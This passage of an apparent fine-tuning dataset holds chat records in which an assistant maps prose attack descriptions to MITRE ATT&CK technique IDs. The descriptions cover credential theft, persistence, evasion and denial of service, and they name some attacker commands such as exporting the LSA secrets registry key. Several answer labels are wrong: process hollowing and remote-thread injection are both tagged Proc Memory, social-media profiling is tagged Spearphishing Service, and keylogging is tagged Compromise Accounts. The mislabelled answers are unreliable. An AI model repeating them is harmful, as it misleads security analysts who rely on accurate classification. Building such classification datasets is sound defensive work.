                "content": "Malicious actor inserts a backdoor into a serverless function's deployment package, causing the function to run credential‑stealing scripts on each invocation."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote administration tool issues \"rpcinfo -p\" across the network to discover RPC services and associated systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages mmc.exe as a system binary proxy to run arbitrary payloads without triggering AV."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear-phishing email appears to be from a senior executive, instructing the recipient to forward their corporate email password to a “new security system” for urgent compliance."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a credential‑phishing campaign, the attacker obtains OAuth tokens for Gmail accounts, enabling them to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an encrypted SSH tunnel to route malicious traffic through a legitimate remote server, effectively bypassing network defenses."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes shellcode into the memory of a running legitimate process and then creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .lnk shortcut on the desktop that displays a familiar program icon, but its target points to a hidden PowerShell script that runs with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group drops a backdoor DLL into the %ProgramFiles%\\Windows NT\\Accessories\\wordpad.exe path, which is then loaded by the Terminal Services component."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload queries the BIOS serial number and compares it against known virtual hardware identifiers to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows API function EnumProcesses to list active processes for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reflective code loading is employed to bypass antivirus by avoiding the creation of a physical executable file on the device."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves sending small queries to public services that reply with much larger responses, all directed at the target's IP."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target organization's employees through social media profiling."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following credential dumping, the actor disables network share connections and deletes associated shortcuts from the desktop."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used HTML smuggling to bypass email filters, sending a .html attachment that contains a data URI with an embedded executable payload that runs after user interaction."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infiltrated insider updates the DNS server configuration to forward all outbound DNS queries to an attacker‑controlled server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool edits the DNS resolver configuration to suppress responses about malicious domain lookups, blocking network‑based indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan updates the preferences in /Library/Preferences/com.apple.alf.plist to turn off the macOS firewall."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows rundll32.exe utility to load and run a malicious DLL from a temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installed a keylogger on the victim’s machine, which recorded the user’s email password when they logged into Outlook."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team wipes the Windows Event Log files located in %SystemRoot%\\System32\\winevt\\Logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline leaked GPG private keys by printing them in build logs."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder runs \"svcscan\" to locate Windows services on a target subnet and identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise leverages the Windows Authentication Packages registry key to load malicious code each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a local staging area to temporarily store stolen files before encrypting and sending them out."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a router, the threat actor changes the admin password and creates a new privileged account without authorization."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the intruder sets the \"Disabled\" state for the \"Spooler\" service via the Services MMC snap‑in."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised blog uses a malicious iframe to deliver a PowerShell-based payload to unsuspecting visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a rogue DNS server to receive exfiltrated data encoded in subdomain queries."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool generates domain names by combining a fixed domain with a rotating alphanumeric suffix, performing DNS lookups to locate the server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a trojan named \"readme.doc.exe\" to exploit the Windows default behavior of hiding the second extension."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a privileged Docker container to bypass host security controls and access host file system."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the 'arp -a' command to gather IP addresses of devices on the local network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a software vendor's signing key and injected malicious code into legitimate updates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages PowerShell’s Set-Acl cmdlet to add a write permission for the Administrators group on the ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a PowerShell script that writes a payload to the user's profile script, ensuring execution at next PowerShell start."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a credentialed SSH session to edit /etc/firewalld/zones/public.xml, removing the <reject> elements."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify Group Policy to disable System Restore across all workstations in the domain."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create custom email rules that move all messages containing a particular keyword to the Junk folder, concealing exfiltration commands."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the system firmware to install a rootkit that loads before the operating system boots, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group built a botnet by hijacking unsecured webcams and using them as proxies."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts files and saves the decryption key onto a connected removable drive for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue application registered in Azure AD is granted permissions to read SharePoint lists, which it uses to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accesses the authentication module, encrypts the stored password hashes using a reversible function, and stores the ciphertext for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses process hollowing, replacing the legitimate executable code in a process's memory with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the network card's option ROM to execute a payload before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors enable the \"Ease of Access\" feature on Windows login screen and replace the sethc.exe binary with a reverse shell, executing code when Shift key is pressed five times."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A forged Windows shortcut (LNK) was added to the Start Menu programs folder to run malware on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes a cloud provider’s unsupported region to host malicious scripts, avoiding alerts from typical monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware implants a rogue EFI driver that runs during the pre‑OS phase to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uploads stolen credentials to a remote web API using a single HTTP request, without awaiting any reply from the server."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs reg.exe to export the 'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\' secrets for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the browser's saved cookies to hijack authenticated sessions."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor takes advantage of unsecured Docker APIs to deploy containers on other hosts for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves dumping the securityd process heap to retrieve user authentication secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a scheduled task that repeatedly executes a fileless payload via wmic at regular intervals."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat runs a custom program that triggers BIOS firmware flashing, corrupting the firmware and destroying stored data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs a script that parses /proc/cpuinfo and /proc/meminfo to learn CPU cores and total RAM on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a kernel module to hook and ignore audit syscalls, effectively disabling the audit logs."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged 'music.mp3.bat' to run a batch script while appearing as an audio file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a Python script that calls the AD API to enumerate domain groups and export them to a CSV file."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets finance staff with an email containing a link to a counterfeit expense report portal, which records the victim's corporate credentials upon login."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the Remote Procedure Call (RPC) endpoint for DCOM to gain remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting the Windows Registry Autorun keys to start a malicious executable with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hide a ransomware loader within the metadata of a PDF document, which is then extracted and run when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script iterates over a list of IPs, using curl to check for outdated Drupal installations on web servers."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor initiates a UDP flood to a remote host, saturating its network interface and causing service outage."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encrypts a malicious script and embeds it within a legitimate DLL’s unused sections, later loading it in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan overwrote security tool binaries with malicious ones to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used code packing techniques, integrating a stub that decompresses the payload on the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging unsecured SSDP devices, the attacker sends M-SEARCH requests with a forged source IP, resulting in amplified traffic directed at the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised SSH key to log into the external web server and swapped out the site's index.html with a defacement page containing a threat message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a mapped drive to retrieve backup archives from the central file repository."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape exploit databases for known CVEs and integrate the exploits into their malware to achieve system compromise."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a keylogger that records every keystroke typed by the user and sends the logs to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
